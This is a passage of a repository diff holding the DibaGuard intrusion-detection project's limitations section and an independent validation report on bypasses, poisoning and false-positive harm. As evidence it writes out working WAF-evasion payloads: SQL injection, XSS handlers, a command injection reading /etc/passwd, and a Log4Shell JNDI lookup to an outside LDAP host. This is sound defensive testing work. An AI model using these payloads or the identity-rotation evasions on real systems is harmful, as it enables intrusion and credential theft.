+ python scripts/qa_all.py # everything that can be verified in minutes
555
+ python scripts/qa_all.py --labs # plus every lab
556
+ python scripts/benchmark_all.py --run # the reproducible benchmark (several seeds) → bench/benchmark.{json,md}
557
+ ```
558
+
559
+ Labs: `redteam_lab.py` (six waves of the playbook), `redteam_hard.py` (an attacker that evolves to evade over twelve
560
+ waves, hostile benign traffic), `redteam_platforms.py` (WordPress, Joomla, Drupal, JSON API, generic + chain RPC),
561
+ `redteam_db.py` (six databases, twelve scenarios, real log formats), `redteam_slow.py` (distributed low-and-slow
562
+ campaigns among internet background radiation), `redteam_networks.py` (OT/IoT, office, multi-tenant hosting), and
563
+ `eval_sqli_http.py` (real production data). All of them run in memory on synthetic or archived data; nothing is sent
564
+ to any host.
565
+
566
+ ---
567
+
568
+ ## 13. Results
569
+
570
+ *(This chapter is generated from `bench/benchmark.json` and the evaluation reports when the document is built.)*
571
+
572
+ {{RESULTS}}
573
+
574
+ ---
575
+
576
+ ## 14. Limitations (honest)
577
+
578
+ * Payload inspection needs the traffic in clear text (at the TLS-terminating proxy or from logs); the behavioural
579
+ tiers need only flow metadata, so encrypted traffic is covered for behaviour, not for payloads.
580
+ * Steady-state benign alarm rates in the strictest lab are a few times the 10⁻³ budget during warm-up hours and
581
+ around it afterwards; a longer calibration (a day rather than two hours) is recommended.
582
+ * The IDOR / business-logic enumeration that uses the application's own query shapes is invisible to the database
583
+ tier by design (the HTTP session tier challenges it).
584
+ * DbNet alone generalises to unseen *injection* techniques; for unseen RCE/privilege/destructive forms the signatures
585
+ carry the detection.
586
+ * The site n-gram novelty tier is evaluated but not live; online learning of model weights is deliberately not done
587
+ (retraining is offline, fed by the feedback export).
588
+ * On public flow captures whose benign traffic differs strongly from the calibration window (an attack burst that
589
+ changes the whole network's shape, or unidirectional records), the realised benign source-minute alarm rate is
590
+ still above the 10⁻³ budget (see the independent validation above); the labs meet it.
591
+ * A slow *distributed* scan among internet background radiation is found by the campaign tier in 6–17 minutes (seconds
592
+ while an absolute global floor alarmed every failed connect site-wide — which on real traffic meant about half of
593
+ all benign source-minutes).
594
+ * Python state costs ~3–3.6 KB per tracked source (the design budget is 300 bytes): size `max_entities` to RAM, or put
595
+ the Go tiers in front (validation V-17, performance B9). Re-calibration still runs on the hot path (B2).
596
+ * The licence-clean network models can replace the shipped ones (equal or better on every GREEN network neither saw,
597
+ `docs/CLEAN_MODELS.md`); the licence-clean HTTP model cannot — it collapses on applications it never saw — so a
598
+ commercial build has no licence-clean HTTP model yet.
599
+ * Several early training corpora are not cleared for commercial use (section 9); the clean retraining replaces them.
docs/VALIDATION_REPORT.md ADDED
@@ -0,0 +1,731 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ # DibaGuard — Independent Validation Report
2
+
3
+ > **Open-release copy** ([DibaAi/DibaGuard-Open](https://huggingface.co/DibaAi/DibaGuard-Open)). This document was written for the private build of DibaGuard. Numbers that involve the HTTP request model (`http_v2`) were measured with that model, which is **not** part of the open release; the open release ships the licence-clean network models described in `CLEAN_MODELS.md`. Licence statements inside this document are superseded by `DATA_LICENSES.md`, `CLEAN_MODELS.md` and the repository's `LICENSE`, `LICENSE-WEIGHTS` and `NOTICE` files. Sections of the original that were written in Persian were removed from this copy; nothing else was edited.
4
+
5
+ *Date: 2026-10-31. Validated tree: the working copy of `guard/` on this date. Versions: the HTTP-side measurements
6
+ (V-01…V-11, V-15, V-16, V-18, CRS, real traffic) do not depend on the engine changes made during the work. The
7
+ flow-side measurements were taken after the first change set (05:14 local: destination-flood tier acts on volume
8
+ alone only at ≥ 10 flows / 10 s; brute force by rate alone no longer on LDAP 389 / SMB 445) and **before** the second
9
+ (10:00 local: V-14 fixed with hash-set membership; GRU warm table capped; O(batch) buffer folding; `GlobalRate`
10
+ relative to each key's own 1-h baseline; campaign CUSUM capped at 2 h; destination flood no longer renames other
11
+ tiers' flows; slow 30-min port walking named `portscan`). V-12, V-13, V-17, V-20, V-21, V-22, the kill chains and the
12
+ harm runs should be re-measured on the 10:00 tree; V-22 in particular targets the old absolute `GlobalRate` floor.
13
+ Exception: the SIMARGL 2021 attack-window row was measured before both change sets.*
14
+
15
+ The validation team did not build DibaGuard. Every claim in the project's documents was treated as unverified until
16
+ measured here. Nothing under `dibaguard/`, `go/`, the existing `tests/*.py` or the existing `scripts/` was modified.
17
+ All traffic was synthesised in-process, sent over loopback, or replayed from datasets; nothing was sent to any external
18
+ host. Public test material (OWASP CRS regression tests, flow datasets) was used for evaluation only, never training.
19
+
20
+ ---
21
+
22
+ ## 1. Executive summary
23
+
24
+ DibaGuard's core ideas hold up in places the previous red team looked: the ten RT-xx fixes are in place (their 39
25
+ regression tests pass), Python↔Go parity fixtures pass, the Python canonicaliser defeats the classic obfuscation
26
+ layers, distributed credential stuffing is caught even with a rotating `Host` header, no benign Persian request of the
27
+ 80,234-request zanbil.ir log is blocked, and a multi-stage intrusion is noticed at most stages. But the system can be
28
+ bypassed, and it harms legitimate users in ways the lab results do not show.
29
+
30
+ **Security correctness (bypass).** 17 of the 22 findings (V-01…V-17), 8 of them High; three of them (V-12, V-13, V-14) were fixed by the maintainers while this validation ran and are now regression tests:
31
+
32
+ * the canonicaliser *deletes live code*: `/* … */` folding is not quote-aware (V-01) and whitespace folding destroys
33
+ SQL line comments (V-02), so `?q=/*' union select password from users-- -*/` and `?id=1 union%23x%0aselect …`
34
+ reach the database while no signature or SQL-context tier sees them;
35
+ * fixed work caps silently drop data from judgement — JSON entries past the 200th, the first of two duplicate JSON
36
+ keys, a value past 2,048 characters, a multipart field after a 2 KB file part, the 65th field (V-05, V-06);
37
+ * the **Go fast path judges a different text** from the Python edge and sends that text to the sidecar, so the
38
+ Python-side defences (JSON `\u` escapes, HTML entities, NFKC, any-header RT-09 fix) do not exist in a Go deployment:
39
+ `{"q":"\u0024{jndi:ldap://…}"}` or a SQLi in `Accept-Language` passes inline *and* in the sidecar (V-08, V-09);
40
+ * **identity tricks defeat the behavioural tiers**: rotating eight user-agents turns any address into a "shared"
41
+ one that is never blocked (credential stuffing 300/300 served instead of 10/300; enumeration and scraping alarms
42
+ 295 → 0), and rotating inside one IPv6 /64 makes every request a newborn source (V-10, V-11);
43
+ * **references can be poisoned**: one attack request among the first 1,000 sets the HTTP threshold (model-only
44
+ detection 87.5 % → 68.8 %; five requests → 6.2 %), a client-chosen `Host` header trains its own profile (→ 0 %),
45
+ and the sidecar's traffic feeds accept an unauthenticated re-calibration (→ 0 %) or an IP to frame (V-15, V-16);
46
+ * **state attacks**: re-calibration is O(n²) in distinct sources (81 s per epoch at 32k sources, slope 1.9 —
47
+ extrapolated hours at the default 500k), an out-of-order flow record rewinds a source's clock and lifts a block,
48
+ LRU eviction by fresh sources resets a scanner to "newborn", and a tracked source costs 3.6 KB (1.7 GB at the
49
+ default cap; 1.1 MB for one source that walked 512 ports) (V-12, V-13, V-14, V-17).
50
+
51
+ **Detection reliability.** Complex attacks: in a six-stage kill chain the recon, lateral movement and distributed
52
+ stuffing stages were caught within seconds and the SQL injection was caught by the database tier even when the
53
+ HTTP edge missed it; the slow exfiltration through the application's own connection was never seen by the database
54
+ tier, and a single source guessing SSH 15 times a minute for 30 minutes raised nothing (V-20, V-21). Harm: English
55
+ prose with a contraction and `;`, `--` or `#` is blocked as SQL injection (5.8 % [4.1, 8.2] of apostrophe-bearing
56
+ sentences of an independent English corpus; 10 of 15 ordinary review sentences). In a 26-hour simulated shop that
57
+ single cause blocks **146 of every 1,000 users per day [140, 153]** — whole NAT addresses at a time — while the same
58
+ day with that one review sentence reworded blocks 0.1 per 1,000 [0.01, 0.45] (V-18). Challenges stay at ≈ 150 per
59
+ 1,000 users per day, and partner API clients and the search crawler are challenged — i.e. cut off (V-19).
60
+
61
+ **Independent validation.** On the 4,138 attack tests of the OWASP CRS regression suite (commit `ca679721`) the
62
+ Python edge's hard tiers fire on 15.1 % (PL1 in-scope families: 16.9 % [15.4, 18.6]; PL1 SQLi 42.9 % [37.6, 48.3],
63
+ XSS 34.0 % [27.6, 41.1], RCE 6.0 %), with 4.8 % alarms on the 1,054 negative tests; libinjection fires on 4.1 % /
64
+ 13.8 % (SQLi/XSS) of all attack tests. The CRS tests are rule unit tests — many are fragments (`database(`,
65
+ `pg_catalog`) a context engine is not meant to flag — so these are lower bounds, but they are the first numbers on
66
+ material the authors did not write. On the GREEN public flow datasets with the engine's calibrate-then-score protocol
67
+ the DDoS of CSE-CIC-IDS2018 (AWS original) is separated almost perfectly (source-minute AUROC 0.9987 [0.997, 0.9998],
68
+ all 10 attack sources caught) but at a realised benign alarm rate of 49.6 % of source-minutes instead of the 0.1 %
69
+ budget — 2.9 % once the global-scan and campaign tiers are set aside — and the same tier pushes SIMARGL 2021's benign
70
+ traffic to 43.8 % (V-22). On LUFlow 2021, the temporal hold-out, 22 % of attacking sources are caught at a 10.5 %
71
+ benign source-minute alarm rate. The CIC-IDS2017 original could not be obtained from the publisher.
72
+
73
+ ---
74
+
75
+ ## 2. Method
76
+
77
+ ### 2.1 What was exercised
78
+
79
+ | path | what judges a request / flow | how it was driven |
80
+ |---|---|---|
81
+ | Python edge | `parse.Request.model_text` → `canon` → `playbook.match_http` + `sqlctx.analyse` (A22, DbNet as soft second opinion) | `tests/validation/vharness.py::py_judge` |
82
+ | Layer (operator API) | `Layer` with `Policy({"mode": "enforce"})`, dry-run backend, shipped models from `D:/build-tmp/guard/dl/models` | `vharness.make_layer`, every script under `scripts/validate_*.py` |
83
+ | Go fast path inline | `go/dibaguard` `Decider.Inspect` (Canonical → MatchSigs + HTTP model, inline blocking on) | helper `tests/validation/gocanon` (imports the package through a `go.work`, reads stdin) |
84
+ | Go → sidecar | what `dibaguard-proxy` / `-authz` push to `guard_score_http`: the **Go** canonical text, judged by the Python playbook + A22 | `vharness.go_judge` |
85
+ | sidecar over loopback | `dibaguard.llm.make_server` on `127.0.0.1:0` | `scripts/validate_cascade.py feed`, `tests/validation/test_v_cascade.py` |
86
+
87
+ Enforcement was emulated as the fast path applies it: a blocked address's later requests/flows are refused and never
88
+ reach the engine; `rate_limit` is a 5 req/s token bucket; `challenge` is passed once per browser per address per day
89
+ and never by clients without JavaScript (API clients, crawlers); a hard-signature request is refused inline.
90
+
91
+ ### 2.2 Statistics
92
+
93
+ Proportions carry 95 % Wilson intervals; flow AUROCs on (source, minute) units carry a 95 % cluster-bootstrap
94
+ interval over sources (100 resamples). Long-run harm uses three seeds (min–max and the pooled Wilson interval).
95
+
96
+ ### 2.3 Reproduce
97
+
98
+ ```
99
+ python -m pytest tests/validation/test_v_bypass.py -q -rxX # 38 passed, 36 xfailed (Go cases skip without a Go toolchain)
100
+ python -m pytest tests/validation/test_v_cascade.py -q -rxX # 7 passed, 3 xfailed, 4 XPASS(strict) = fixes that landed at the end (V-10, V-11, V-15a, V-15c)
101
+ python -m pytest tests/validation/test_v_reliability.py -q -rxX # 9 passed, 12 xfailed (~60 s)
102
+ python scripts/validate_canon_fuzz.py --n 3000 # placement matrix, transforms, Python-vs-Go differential fuzz
103
+ python scripts/validate_cascade.py all # identity, stale, lru, recal, memory, bootstrap, feed, campaign
104
+ python scripts/validate_killchain.py # multi-stage kill chains
105
+ python scripts/validate_harm.py --seeds 3 # 26 h benign site (add --no-prose-fp for the control)
106
+ python scripts/validate_realtraffic.py # zanbil.ir, SR-BH 2020, ModSecurity 2025 on both paths
107
+ python scripts/validate_crs_local.py # OWASP CRS tests (fetched/parsed on Kaggle) on every path
108
+ python kag.py run --job validate_crs --run-name … --cpu # CRS fetch + parse + libinjection baseline (Kaggle)
109
+ python kag.py run --job validate_flows --run-name … --cpu # GREEN flow datasets, calibrate-then-score (Kaggle)
110
+ ```
111
+
112
+ Raw results: `D:/build-tmp/guard/validation/*.json` (one file per script; the Kaggle results as `*_status.json`).
113
+
114
+ ---
115
+
116
+ ## 3. Findings
117
+
118
+ | id | property | severity | measured | one-line fix |
119
+ |---|---|---|---|---|
120
+ | V-01 | bypass | **High** | 4/4 quote-wrapped payloads (SQLi string, SQLi tautology, XSS handler, cmdi) invisible to signatures + A22; the 2 SQLi forms raise no alarm at all, XSS/cmdi only a model challenge | fold comments only outside quoted literals, and judge the unfolded text too |
121
+ | V-02 | bypass | **High** | `union#x\nselect`, `union--\nselect`: 3/3 evade Python, Go inline and sidecar | strip `#…\n` / `--…\n` line comments *before* folding newlines (canon and `database.views`) |
122
+ | V-03 | bypass | Medium | `java\tscript:` / `java\nscript:` 3/3 evade A19 on all paths | remove ASCII tab/LF/CR inside URL schemes before matching (as browsers do) |
123
+ | V-04 | bypass | Medium | `<body/onpageshow=…>` and 3 more slash-separated handlers evade A19 | accept `/` as attribute separator in the RT-02 handler branch |
124
+ | V-05 | bypass | Medium | first of two duplicate JSON keys never judged: 11/11 payloads, Layer incl. model 0/11 | judge every occurrence of a key (`object_pairs_hook`) |
125
+ | V-06 | bypass | **High** | JSON entry 201+: 11/11 bypass incl. model; multipart field after a 2.1 KB file part, value > 2,048 chars, field 65+, char 513+: hard tiers miss, model only challenges | never truncate silently: judge head+tail, raise a "too large to judge" verdict |
126
+ | V-07 | bypass | Low–Med | 2nd value of a repeated header never judged (11/11, all paths); A22 skips `Accept-Language` | judge every header value; drop `accept-language` from `SKIP_HEADERS` |
127
+ | V-08 | bypass | **High** | Go path misses what Python catches: JNDI/XSS/cmdi in JSON `\u` escapes, SQLi in `Accept-Language` or a custom header, fullwidth SQL (6/6); fuzz: Python-blocked but Go-path-missed 10.4 % of 3,000 cases | share one canonicaliser (port `parse.py` to Go, or have the sidecar re-canonicalise raw requests) |
128
+ | V-09 | bypass | Medium | Go inline allows A22-only injections (3/3); the source is blocked only after the next sidecar poll | port the A22 SQL-context tier to Go or make the proxy wait for it on SQL-looking values |
129
+ | V-10 | cascade | **High** | stuffing from one address with 8 rotating UAs: 300/300 served, never blocked (fixed UA: blocked after 10); enumeration/scraping alarms 295 → 0 | "shared" only from network evidence (CGNAT range, operator list), never from client-chosen headers; keep per-address evidence too |
130
+ | V-11 | cascade | **High** | a fresh address per request inside one IPv6 /64: 300/300 served, never blocked | key detection state by /64 (as blocks already are) |
131
+ | V-12 | state | Medium (fixed, regression test) | one stale flow record every 30 s (a long-lived connection's late export) turns a blocked SSH brute force into monitor-only | never move a source's clock backwards (`last_t = max(last_t, t)`) |
132
+ | V-13 | state | Medium (fixed at unit level, regression test) | fresh one-flow sources > table size between probes: scanner age stays 1, 0/150 probes alarmed (17 alarmed and blocked without eviction) | evict by low evidence first; keep evidence/age of suspicious sources in a protected segment |
133
+ | V-14 | availability | **High** (fixed 10:00, now a regression test) | one re-calibration epoch: 1.6 s / 5.9 s / 23 s / 81 s at 4k / 8k / 16k / 32k sources (slope 1.9) | replace `np.isin` on object arrays with set lookups / factorised integer keys |
134
+ | V-15 | poisoning | **High** | 1 attack request in the bootstrap: threshold 4.35 → 6.16, model-only detection 87.5 % → 68.8 %; 5 requests → 6.2 %; attacker `Host` profile → 0 % | hygiene for the bootstrap (exclude alarmed requests, cap per-source share), robust quantile; profiles only for configured hosts |
135
+ | V-16 | poisoning | Medium | without a token: `guard_score_http` frames any address (blocked), `guard_calibrate` drops model-only detection 87.5 % → 0 % | require the token for `guard_calibrate`; authenticate the proxy's pushes (shared secret / mTLS) |
136
+ | V-17 | availability | Medium | 3,564 B per tracked one-flow source (1.7 GB at the 500k default; DESIGN budget 300 MB / 1M); 1.14 MB for one source with 512 keys; 7.1 KB per distinct `Host` value, unbounded | compact per-source records; cap keys per source by bytes; bound per-host state |
137
+ | V-18 | harm | **High** | English prose with an apostrophe and `;`/`--`/`#` blocked as SQLi: 5.8 % [4.1, 8.2] of 531 such sentences of the Python stdlib docs, 10/15 ordinary review sentences; simulated shop: 146 users blocked per 1,000 per day [140, 153] vs 0.1 without that sentence | require an SQL token after the break-out in the "unbalanced quote + terminator" fallback |
138
+ | V-19 | harm | Medium | ≈ 150 users challenged per 1,000 per day on a benign day (typos, flash crowd, deploy 404s); partner API clients (5/5) and the search crawler challenged — which cuts off any client without JavaScript | exempt verified crawlers / API keys; rate-limit rather than challenge machine clients |
139
+ | V-20 | reliability | Medium | single-source SSH guessing at 15/min for 30 min: 0/450 alarms (1/s is caught) | count failed-auth sessions per (source, service) on a slower horizon with an absolute floor |
140
+ | V-21 | reliability | Medium | paged read of `customers` by the app server, 400 rows/min for 1 h (24k rows): 0 DB alarms | new query shape on a sensitive table + cumulative rows per shape |
141
+ | V-22 | reliability | **High** | realised benign source-minute alarm rate at α = 10⁻³: 49.6 % (CSE-CIC-IDS2018 AWS) and 43.8 % (SIMARGL 2021), 2.9 % / 4.9 % without the global-scan / campaign tiers; LUFlow 2021 10.5 % | calibrate the global tiers' floors on the site's own benign traffic like every other tier |
142
+
143
+ Severity scale: **High** = a complete bypass of the hard tiers or of enforcement for a whole attack class, a
144
+ reference poisoning that disables a tier, an availability failure, or measurable harm to many legitimate users;
145
+ Medium = a bypass with a narrower precondition or a partial loss; Low = coverage gaps with limited reach.
146
+
147
+ **Status now (2026-10-31, afternoon): every finding is fixed and every repro is a regression test; the
148
+ remediation and the re-measurement are in §8.** Status at hand-over (tree of 2026-10-31 ~09:21 local): fixed during the validation and now regression tests:
149
+ V-12, V-13, V-14. Fixes that landed in the last minutes and turn their strict-xfail tests red (XPASS — flip them to
150
+ regression tests): V-10, V-11, V-15a (bootstrap threshold), V-15c (unbounded host buffers). V-15b (attacker-chosen
151
+ `Host` profile) still fails. Everything else in the table is open.
152
+
153
+ Every finding has `xfail(strict=True, raises=AssertionError)` tests with its id in `tests/validation/`
154
+ (`test_v_bypass.py`, `test_v_cascade.py`, `test_v_reliability.py`), each next to a passing control test where one
155
+ makes sense. V-12, V-13 and V-14 were fixed while this validation ran; their tests are now plain regression tests.
156
+ V-17 (`test_v17_*`) and V-19 (`test_v19_*`, a 4-hour opening of the simulated shop, ~30 s) have strict-xfail tests
157
+ too. V-22 has no local minimal repro: its evidence is the Kaggle runs (`guard_jobs/validate_flows.py --testbeds
158
+ cic2018aws,simargl2021`), taken on the pre-10:00 `GlobalRate`; `test_v22_*` is only a synthetic guard, which the
159
+ current tree passes.
160
+
161
+ ---
162
+
163
+ ## 4. Details per property
164
+
165
+ ### 4.1 Property 1 — security correctness
166
+
167
+ #### V-01 Comment folding deletes live code — High
168
+ *Repro:* `test_v_bypass.py::test_v01_*`.
169
+ ```
170
+ GET /item?q=/*'%20union%20select%20password%20from%20users--%20-*/ -> canonical text "q:q= "
171
+ GET /item?q=<img src="/*" onerror=alert(1) x="*/"> -> "<img src=" ">"
172
+ GET /item?host=127.0.0.1;echo '/*';cat /etc/passwd;echo '*/' -> "127.0.0.1;echo ' '"
173
+ ```
174
+ In a string context the database reads `'/*'` as a literal, then `union select …`, then a `--` comment; the browser
175
+ runs the `onerror` between two quoted attribute values; the shell runs `cat`. The canonical text every detector reads
176
+ has the payload removed. Through a calibrated Layer the two **SQL forms raise nothing at all** (event score 1: the
177
+ model reads the same emptied text); the XSS and command forms get a model *challenge* (score 85) — a challenge, not a
178
+ block, so any client that runs JavaScript passes. The Go fast path does not fold comments and blocks these
179
+ (A15/A19) — the reverse divergence.
180
+ *Root cause:* `dibaguard/http/canon.py:18-19` (`MYSQL_EXEC`, `C_COMMENT`) applied by `normalize` (`canon.py:62-64`) to
181
+ every value regardless of quoting.
182
+ *Fix:* fold comments only outside quoted literals (a small quote-aware scanner), and run the signatures on the
183
+ unfolded decoded value as well.
184
+
185
+ #### V-02 SQL line comments + newline — High
186
+ *Repro:* `test_v02_*`. `?id=1 union%23x%0aselect password from users` (MySQL `#`) and
187
+ `?id=1 union--%0aselect …` (every dialect). The canonicaliser folds the newline into a space (`canon.py:20,66`), so the
188
+ `#…`/`--…` comment now swallows the rest; `database.views` strips `/* */` but no line comments (`database.py:219-220`),
189
+ so A22 sees one comment too. The Go text keeps the newline but its A15 regex does not allow a comment between
190
+ `union` and `select`: inline `allow`/`challenge`, sidecar miss. Measured in the transform matrix: 2/2 `union`
191
+ variants missed on every path (Layer: challenge only).
192
+ *Fix:* remove line comments up to the newline *before* whitespace folding, in `canon.normalize` and `database.views`.
193
+
194
+ #### V-03 `javascript:` with tab / newline — Medium
195
+ The WHATWG URL parser strips ASCII tab and newline anywhere in a URL; `canon` turns them into a space and A19 needs
196
+ `javascript\s*:` unbroken (`playbook.py:49`). `?url=java%09script:alert(document.domain)` and the same inside an
197
+ `href` evade all paths (Layer: challenge). *Fix:* delete `[\t\n\r]` inside a URL scheme before matching.
198
+
199
+ #### V-04 Slash-separated event handlers — Medium
200
+ The RT-02 fix (`playbook.py:49-51`) requires whitespace or a quote before `on…=`; the HTML tokenizer also accepts `/`.
201
+ `<body/onpageshow=alert(1)>`, `<input/autofocus/onfocusin=…>`, `<marquee/onstart=…>`,
202
+ `<svg><animate/onbegin=…>` evade (4/4; the old five-name list still catches `onerror`, `onload`…). *Fix:*
203
+ `<\s*[a-z][^>]*[\s/]on[a-z]{3,}\s*=`.
204
+
205
+ #### V-05 Duplicate JSON keys — Medium
206
+ `{"id":"1 union select password from users","id":"1"}` — `json.loads` keeps the last value (`parse.py:41`), so the
207
+ payload is never judged; parsers with first-key precedence (e.g. Go `buger/jsonparser`, several streaming parsers)
208
+ hand it to the application. 11/11 payload families evade, Layer (incl. model) alarm 0/11. The Go path reads the raw
209
+ body prefix and catches them. *Fix:* `object_pairs_hook` that keeps and judges every occurrence.
210
+
211
+ #### V-06 Fixed caps drop data from judgement — High
212
+ | placement | Python hard tiers | Layer (model) | Go inline / sidecar |
213
+ |---|---|---|---|
214
+ | JSON entry after the 200th (`_flatten`, `parse.py:87,89`) | 0/11 | **0/11 alarm** | 10/11 block |
215
+ | multipart field after a 2,100-byte file part (whole body = one value cut at 2,048, `parse.py:44-47,63`) | 0/11 | 11/11 challenge | 10/11 block |
216
+ | value padded past 2,048 chars (`parse.py:63`) | 0/11 | 11/11 challenge | 10/11 block |
217
+ | A22-only payload after 64 fields (`sqlctx.py:140`) | missed | missed | – |
218
+ | A22-only payload after 512 chars (`sqlctx.py:145`) | missed | – | – |
219
+
220
+ The red team's RT-10 fix bounded the work; it did so by not looking. *Fix:* when a request exceeds a judging budget,
221
+ judge the head and the tail of every field and of the field list, and treat "too large to judge" as a verdict of its
222
+ own (challenge or block per policy) instead of allowing it.
223
+
224
+ #### V-07 Repeated headers; A22 header skip — Low–Medium
225
+ A second `X-Forwarded-For` (or any repeated header) is never judged: Go uses `hdr.Get` (first value,
226
+ `decide.go:271`), the Python `Request` holds one value per name. Stacks that join or take the last value hand the
227
+ payload to the app (11/11 evade on every path). The RT-09 fix put `Accept-Language` into the text, but A22 skips it
228
+ (`sqlctx.py:50`), so an A22-only injection there is still missed.
229
+
230
+ #### V-08 The Go fast path judges a different text — and so does its sidecar — High
231
+ `Canonical` (`decide.go:229-286`) applies only percent / `%u` decoding: no JSON parsing or `\uXXXX`, no HTML
232
+ entities, no NFKC, no comment handling, and only ten header names (`decide.go:160-161`). The proxy and the authz
233
+ service send **that** text to the sidecar (`sidecar.go` `Summary.Text`; `cmd/dibaguard-proxy/main.go`), so the
234
+ Python-side defences are absent in Go deployments, inline and asynchronously:
235
+
236
+ | request (each blocked by the Python edge) | Go inline | sidecar on Go text |
237
+ |---|---|---|
238
+ | `{"q":"\u0024{jndi:ldap://203.0.113.5/a}"}` (Log4Shell in JSON) | allow | miss |
239
+ | `{"c":"\u003cscript\u003ealert(1)\u003c/script\u003e"}` | challenge (model) | miss |
240
+ | `{"host":"127.0.0.1\u003bwhoami"}` | allow | miss |
241
+ | `Accept-Language: -1' union select password from users-- -` | allow | miss |
242
+ | `X-Tenant-Id: 1 union select password from users` | allow | miss |
243
+ | fullwidth `union select` | allow | miss |
244
+
245
+ Random differential fuzz (3,000 cases: 11 payload families × semantics-preserving transforms × 29 placements,
246
+ `validate_canon_fuzz.py`): the Python edge blocks 72.5 %, the Go inline signatures 68.4 %, the Go path (inline or
247
+ sidecar) 76.9 %; verdicts diverge on 32.8 %; 10.4 % are blocked by Python but missed by the whole Go path, 14.4 %
248
+ the reverse; 12.7 % are missed by all three (5.1 % not even challenged). The divergences that matter for Go: custom
249
+ and `Accept-Language` headers (177), JSON `\u` escapes (45), JSON values/keys/nesting (54), entity-encoded
250
+ `javascript&colon;` (31), tab/newline/case transforms. (The INTEGRATIONS.md note lists the missing layers; this
251
+ measures what they cost and shows that the sidecar inherits them.)
252
+
253
+ #### V-09 No SQL-context tier inline in Go — Medium
254
+ `' or 1 in (1,2)-- -`, its tab-separated form and `/*!50000union*/ /*!50000select*/` are allowed inline (model scores
255
+ under threshold + 3); the sidecar's A22 blocks the *source* after the batch is pushed (≤ 256 requests or 2 s) and
256
+ the next state poll (2 s). The first injection reaches the application. On the ModSecurity 2025 SQLi rows the Go
257
+ inline path blocks 29.0 % vs 53.1 % for the Python edge.
258
+
259
+ #### V-10 User-agent rotation defeats enforcement — High
260
+ `Layer.shared` (`layer.py:100-114`) calls an address shared when ≥ 6 user-agents were seen within 15 minutes, then
261
+ judges every UA as its own sub-entity (`layer.py:116-140`) and downgrades block/rate-limit to a challenge
262
+ (`layer.py:191-195`). The client chooses its user-agent. Measured (`validate_cascade.py identity`, same site, same
263
+ attack, 300 requests):
264
+
265
+ | attack | fixed UA | 8 rotating UAs | fresh IPv6 inside one /64 | fixed IPv6 |
266
+ |---|---|---|---|---|
267
+ | credential stuffing (401s) | blocked after 10; 10 served | **never blocked; 300 served** (1 challenge) | **never blocked; 300 served** | blocked after 10 |
268
+ | API enumeration (2/3 403) | challenge, 295 alarms | **0 alarms** | 42 per-address challenges | challenge, 295 alarms |
269
+ | scraper | challenge, 292 alarms | **0 alarms** | **0 alarms** | challenge, 292 alarms |
270
+
271
+ *Fix:* derive "shared" only from network facts (the CGNAT range, operator-declared NAT/proxy lists, PROXY-protocol
272
+ metadata), keep the address-level evidence alongside sub-entities, and never let a downgrade apply to hard evidence.
273
+
274
+ #### V-11 IPv6 rotation inside a /64 — High
275
+ Blocks are keyed by /64 (`enforce.py:127-139`, Go `Aggregation`), but every detection structure is keyed by the
276
+ full address, so a client rotating its interface identifier is a newborn source on every request (first-contact
277
+ rules then forbid blocks). Measured in the table above. *Fix:* key `EntityState`, evidence, risk, `_ua_seen` and the
278
+ HTTP session stream by the /64 (configurable), as the Go proxy already does for blocks.
279
+
280
+ #### V-12 Out-of-order records rewind a source's clock — Medium — **fixed during the validation**
281
+ *Status:* `EntityState`, `SourceEvidence`, `EntityRisk` and `GlobalRate` now keep `last_t = max(last_t, t)`; the two V-12 tests pass as regression tests. Measured on the pre-fix tree:
282
+ `EntityState._get` sets `r.t = t` unconditionally (`flows/entity.py:83`); so do `SourceEvidence.update`
283
+ (`decide.py:320`) and `EntityRisk.update` (`decide.py:165`). NetFlow/IPFIX records carry the flow's *start* and are
284
